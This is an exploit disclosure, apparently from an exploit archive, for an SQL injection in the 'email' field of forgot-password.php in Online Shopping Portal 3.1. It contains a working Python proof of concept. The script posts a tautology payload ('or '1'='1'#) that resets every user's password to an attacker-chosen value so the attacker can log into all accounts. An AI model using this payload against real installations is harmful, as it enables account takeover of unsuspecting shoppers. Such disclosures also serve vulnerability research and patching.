Online Shopping Portal 3.1 - 'email' SQL Injection

# Exploit Title: Online Shopping Portal 3.1 - 'email' SQL Injection 
# Date: 2020-07-06
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/shopping-portal-free-download/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7393
# Version: V3.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Info:
-----
[+] Attacker can change all user's password from the forgot-password.php page and login to their account.

Vulnerable File:
---------------- 
/forgot-password.php

Vulnerable Code:
-----------------
line 8: $email=$_POST['email'];

Vulnerable Issue:
-----------------
$email=$_POST['email']; has no sanitization



POC:
----

import requests

url = "http://localhost:80/shopping/forgot-password.php"

password = "gh1mau"
payload = "email=saya%40saya.com' or '1'='1'#&contact=1234&password=" + password + "&confirmpassword=" + password + "&change="
headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=pq2dc9oja60slrifcfjuq7vhf0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/shopping/forgot-password.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "96", 
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.request("POST", url, data=payload, headers=headers)

print("[+] Try login with password : " + password)

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